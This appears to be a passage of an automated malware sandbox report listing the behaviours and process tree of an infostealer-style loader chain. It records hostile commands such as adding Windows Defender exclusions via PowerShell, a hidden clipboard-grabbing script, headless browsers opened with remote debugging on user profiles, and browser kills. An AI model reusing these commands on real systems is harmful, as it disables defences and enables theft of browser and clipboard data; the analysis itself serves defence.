Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Gathers network information 2 TTPs 17 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
21752	ipconfig.exe
24692	ipconfig.exe
27560	ipconfig.exe
15340	ipconfig.exe
5688	ipconfig.exe
11324	ipconfig.exe
8952	ipconfig.exe
15176	ipconfig.exe
5580	ipconfig.exe
11652	ipconfig.exe
12880	ipconfig.exe
6560	ipconfig.exe
23500	ipconfig.exe
15452	ipconfig.exe
12296	ipconfig.exe
7044	ipconfig.exe
13280	ipconfig.exe

Gathers system information 1 TTPs 7 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
23632	systeminfo.exe
16188	systeminfo.exe
11500	systeminfo.exe
15388	systeminfo.exe
24852	systeminfo.exe
12176	systeminfo.exe
3392	systeminfo.exe

Kills process with taskkill 8 IoCs

pid	Process
19084	taskkill.exe
18660	taskkill.exe
18332	taskkill.exe
5348	taskkill.exe
10660	taskkill.exe
36528	taskkill.exe
21956	taskkill.exe
19608	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133786220195587161"	chrome.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
1928	PING.EXE
16904	PING.EXE
26776	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
36796	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3788	file.exe
3788	file.exe
4516	skotes.exe
4516	skotes.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
1572	LoaderClient.exe
3152	msedge.exe
3152	msedge.exe
1932	chrome.exe
1932	chrome.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe
2224	4ZD5C3i.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
1932	chrome.exe
1932	chrome.exe
1932	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1572	LoaderClient.exe
Token: SeTakeOwnershipPrivilege	2224	4ZD5C3i.exe
Token: SeBackupPrivilege	1208	vssvc.exe
Token: SeRestorePrivilege	1208	vssvc.exe
Token: SeAuditPrivilege	1208	vssvc.exe
Token: SeShutdownPrivilege	1932	chrome.exe
Token: SeCreatePagefilePrivilege	1932	chrome.exe
Token: SeShutdownPrivilege	1932	chrome.exe
Token: SeCreatePagefilePrivilege	1932	chrome.exe
Token: SeDebugPrivilege	5216	BlueMail.exe
Token: SeShutdownPrivilege	1932	chrome.exe
Token: SeCreatePagefilePrivilege	1932	chrome.exe
Token: SeShutdownPrivilege	1932	chrome.exe
Token: SeCreatePagefilePrivilege	1932	chrome.exe
Token: SeShutdownPrivilege	1932	chrome.exe
Token: SeCreatePagefilePrivilege	1932	chrome.exe
Token: SeShutdownPrivilege	1932	chrome.exe
Token: SeCreatePagefilePrivilege	1932	chrome.exe
Token: SeShutdownPrivilege	1932	chrome.exe
Token: SeCreatePagefilePrivilege	1932	chrome.exe
Token: SeShutdownPrivilege	1932	chrome.exe
Token: SeCreatePagefilePrivilege	1932	chrome.exe
Token: SeShutdownPrivilege	1932	chrome.exe
Token: SeCreatePagefilePrivilege	1932	chrome.exe
Token: SeDebugPrivilege	10660	taskkill.exe
Token: SeShutdownPrivilege	1932	chrome.exe
Token: SeCreatePagefilePrivilege	1932	chrome.exe
Token: SeShutdownPrivilege	1932	chrome.exe
Token: SeCreatePagefilePrivilege	1932	chrome.exe
Token: SeDebugPrivilege	5348	taskkill.exe
Token: SeShutdownPrivilege	1932	chrome.exe
Token: SeCreatePagefilePrivilege	1932	chrome.exe
Token: SeRestorePrivilege	36300	7z.exe
Token: 35	36300	7z.exe
Token: SeSecurityPrivilege	36300	7z.exe
Token: SeSecurityPrivilege	36300	7z.exe
Token: SeRestorePrivilege	36404	7z.exe
Token: 35	36404	7z.exe
Token: SeSecurityPrivilege	36404	7z.exe
Token: SeSecurityPrivilege	36404	7z.exe
Token: SeRestorePrivilege	36468	7z.exe
Token: 35	36468	7z.exe
Token: SeSecurityPrivilege	36468	7z.exe
Token: SeSecurityPrivilege	36468	7z.exe
Token: SeRestorePrivilege	36496	7z.exe
Token: 35	36496	7z.exe
Token: SeSecurityPrivilege	36496	7z.exe
Token: SeSecurityPrivilege	36496	7z.exe
Token: SeRestorePrivilege	36556	7z.exe
Token: 35	36556	7z.exe
Token: SeSecurityPrivilege	36556	7z.exe
Token: SeSecurityPrivilege	36556	7z.exe
Token: SeRestorePrivilege	36608	7z.exe
Token: 35	36608	7z.exe
Token: SeSecurityPrivilege	36608	7z.exe
Token: SeDebugPrivilege	36528	taskkill.exe
Token: SeSecurityPrivilege	36608	7z.exe
Token: SeRestorePrivilege	36648	7z.exe
Token: 35	36648	7z.exe
Token: SeSecurityPrivilege	36648	7z.exe
Token: SeSecurityPrivilege	36648	7z.exe
Token: SeRestorePrivilege	36676	7z.exe
Token: 35	36676	7z.exe
Token: SeSecurityPrivilege	36676	7z.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3788	file.exe
1932	chrome.exe
36396	a333818474.exe
36396	a333818474.exe
36396	a333818474.exe
36396	a333818474.exe
36396	a333818474.exe
36396	a333818474.exe
36396	a333818474.exe
36396	a333818474.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
36396	a333818474.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
36396	a333818474.exe
36396	a333818474.exe

Suspicious use of SendNotifyMessage 31 IoCs

pid	Process
36396	a333818474.exe
36396	a333818474.exe
36396	a333818474.exe
36396	a333818474.exe
36396	a333818474.exe
36396	a333818474.exe
36396	a333818474.exe
36396	a333818474.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
36396	a333818474.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
2956	firefox.exe
36396	a333818474.exe
36396	a333818474.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2956	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3788 wrote to memory of 4516	3788	file.exe	82
PID 3788 wrote to memory of 4516	3788	file.exe	82
PID 3788 wrote to memory of 4516	3788	file.exe	82
PID 4516 wrote to memory of 3200	4516	skotes.exe	83
PID 4516 wrote to memory of 3200	4516	skotes.exe	83
PID 3200 wrote to memory of 1572	3200	LoaderClient.exe	84
PID 3200 wrote to memory of 1572	3200	LoaderClient.exe	84
PID 1572 wrote to memory of 4672	1572	LoaderClient.exe	87
PID 1572 wrote to memory of 4672	1572	LoaderClient.exe	87
PID 4516 wrote to memory of 2224	4516	skotes.exe	91
PID 4516 wrote to memory of 2224	4516	skotes.exe	91
PID 4516 wrote to memory of 2224	4516	skotes.exe	91
PID 1572 wrote to memory of 1932	1572	LoaderClient.exe	92
PID 1572 wrote to memory of 1932	1572	LoaderClient.exe	92
PID 1572 wrote to memory of 2044	1572	LoaderClient.exe	93
PID 1572 wrote to memory of 2044	1572	LoaderClient.exe	93
PID 2044 wrote to memory of 4464	2044	msedge.exe	94
PID 2044 wrote to memory of 4464	2044	msedge.exe	94
PID 1932 wrote to memory of 4512	1932	chrome.exe	95
PID 1932 wrote to memory of 4512	1932	chrome.exe	95
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 396	2044	msedge.exe	97
PID 2044 wrote to memory of 3152	2044	msedge.exe	98
PID 2044 wrote to memory of 3152	2044	msedge.exe	98
PID 1932 wrote to memory of 1204	1932	chrome.exe	99
PID 1932 wrote to memory of 1204	1932	chrome.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 3 IoCs

Hidden Files and Directories

T1564.001

pid	Process
36712	attrib.exe
36780	attrib.exe
36772	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3484
- C:\Users\Admin\AppData\Local\Temp\file.exe
  "C:\Users\Admin\AppData\Local\Temp\file.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Checks computer location settings
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3788
- - C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
    "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4516
  - - C:\Users\Admin\AppData\Local\Temp\1014759001\LoaderClient.exe
      "C:\Users\Admin\AppData\Local\Temp\1014759001\LoaderClient.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3200
    - - C:\Users\Admin\AppData\Local\Temp\1014759001\LoaderClient.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014759001\LoaderClient.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1572
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        6⤵
        
        PID:4672
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --restore-last-session --remote-debugging-port=8115 --remote-allow-origins=* --headless=new "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data"
        6⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:1932
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd9917cc40,0x7ffd9917cc4c,0x7ffd9917cc58
        7⤵
        
        PID:4512
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless=new --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1920,i,3610596339079408132,10336847320007377024,262144 --disable-features=PaintHolding --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1916 /prefetch:2
        7⤵
        
        PID:1204
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-appcompat-clear --field-trial-handle=2152,i,3610596339079408132,10336847320007377024,262144 --disable-features=PaintHolding --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2200 /prefetch:3
        7⤵
        
        PID:3740
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-appcompat-clear --field-trial-handle=2244,i,3610596339079408132,10336847320007377024,262144 --disable-features=PaintHolding --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2324 /prefetch:8
        7⤵
        
        PID:5024
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-appcompat-clear --remote-debugging-port=8115 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3740,i,3610596339079408132,10336847320007377024,262144 --disable-features=PaintHolding --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3804 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:3024
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-appcompat-clear --remote-debugging-port=8115 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3748,i,3610596339079408132,10336847320007377024,262144 --disable-features=PaintHolding --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3828 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:4640
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-appcompat-clear --remote-debugging-port=8115 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=2960,i,3610596339079408132,10336847320007377024,262144 --disable-features=PaintHolding --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4520 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:1020
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-appcompat-clear --field-trial-handle=4200,i,3610596339079408132,10336847320007377024,262144 --disable-features=PaintHolding --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4396 /prefetch:8
        7⤵
        
        PID:4768
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-appcompat-clear --field-trial-handle=3456,i,3610596339079408132,10336847320007377024,262144 --disable-features=PaintHolding --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4620 /prefetch:8
        7⤵
        
        PID:6092
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --restore-last-session --remote-debugging-port=8282 --remote-allow-origins=* --headless=new "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data"
        6⤵
        Uses browser remote debugging
        Suspicious use of WriteProcessMemory
        
        PID:2044
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x10c,0x110,0x114,0xdc,0x118,0x7ffd992d46f8,0x7ffd992d4708,0x7ffd992d4718
        7⤵
        
        PID:4464
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1124,18390401824943541026,9237656251537257543,131072 --disable-features=PaintHolding --headless=new --headless --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --override-use-software-gl-for-tests --mojo-platform-channel-handle=1508 /prefetch:2
        7⤵
        
        PID:396
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1124,18390401824943541026,9237656251537257543,131072 --disable-features=PaintHolding --lang=en-US --service-sandbox-type=none --use-gl=swiftshader-webgl --headless --mojo-platform-channel-handle=1872 /prefetch:3
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3152
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=8282 --allow-pre-commit-input --field-trial-handle=1124,18390401824943541026,9237656251537257543,131072 --disable-features=PaintHolding --lang=en-US --headless --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=1936 /prefetch:1
        7⤵
        Uses browser remote debugging
        
        PID:4784
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"
        6⤵
        
        PID:14236
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM chrome.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5348
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /IM msedge.exe"
        6⤵
        
        PID:24244
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM msedge.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:10660
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command " Add-MpPreference -ExclusionExtension '.ps1', '.tmp', '.py' Add-MpPreference -ExclusionPath \"$env:TEMP\", \"$env:APPDATA\" "
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:23384
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        6⤵
        
        PID:22108
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /IM chrome.exe"
        6⤵
        
        PID:22276
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM chrome.exe
        7⤵
        Kills process with taskkill
        
        PID:21956
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Powershell\Get-Clipboard.ps1
        6⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        
        PID:22368
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0luufhvd\0luufhvd.cmdline"
        7⤵
        
        PID:20140
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES487E.tmp" "c:\Users\Admin\AppData\Local\Temp\0luufhvd\CSC3B0CF43579E34689B22B36D1C3FFF7BB.TMP"
        8⤵
        
        PID:19840
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ipconfig"
        6⤵
        
        PID:21912
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig
        7⤵
        Gathers network information
        
        PID:15176
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ipconfig /all"
        6⤵
        
        PID:15108
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        7⤵
        Gathers network information
        
        PID:5580
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        6⤵
        
        PID:5652
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        7⤵
        Gathers system information
        
        PID:3392
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        6⤵
        
        PID:22080
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:20852
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ipconfig /all"
        6⤵
        
        PID:26520
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        7⤵
        Gathers network information
        
        PID:27560
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ipconfig"
        6⤵
        
        PID:18464
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig
        7⤵
        Gathers network information
        
        PID:15452
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ipconfig"
        6⤵
        
        PID:8740
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig
        7⤵
        Gathers network information
        
        PID:21752
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ipconfig /all"
        6⤵
        
        PID:22320
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        7⤵
        Gathers network information
        
        PID:11652
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        6⤵
        
        PID:23528
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        7⤵
        Gathers system information
        
        PID:23632
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ipconfig"
        6⤵
        
        PID:15332
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig
        7⤵
        Gathers network information
        
        PID:15340
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ipconfig /all"
        6⤵
        
        PID:14840
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        7⤵
        Gathers network information
        
        PID:5688
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        6⤵
        
        PID:15080
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        7⤵
        Gathers system information
        
        PID:16188
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ipconfig"
        6⤵
        
        PID:11180
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig
        7⤵
        Gathers network information
        
        PID:12880
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ipconfig /all"
        6⤵
        
        PID:12632
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        7⤵
        Gathers network information
        
        PID:12296
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        6⤵
        
        PID:11752
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        7⤵
        Gathers system information
        
        PID:11500
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ipconfig"
        6⤵
        
        PID:18264
        
        C:\Windows\system32\ipconfig.exe
        
        ipconfig
        7⤵
        Gathers network information
        
        PID:6560
      - C:\Windows\system32\cmd.exe
        
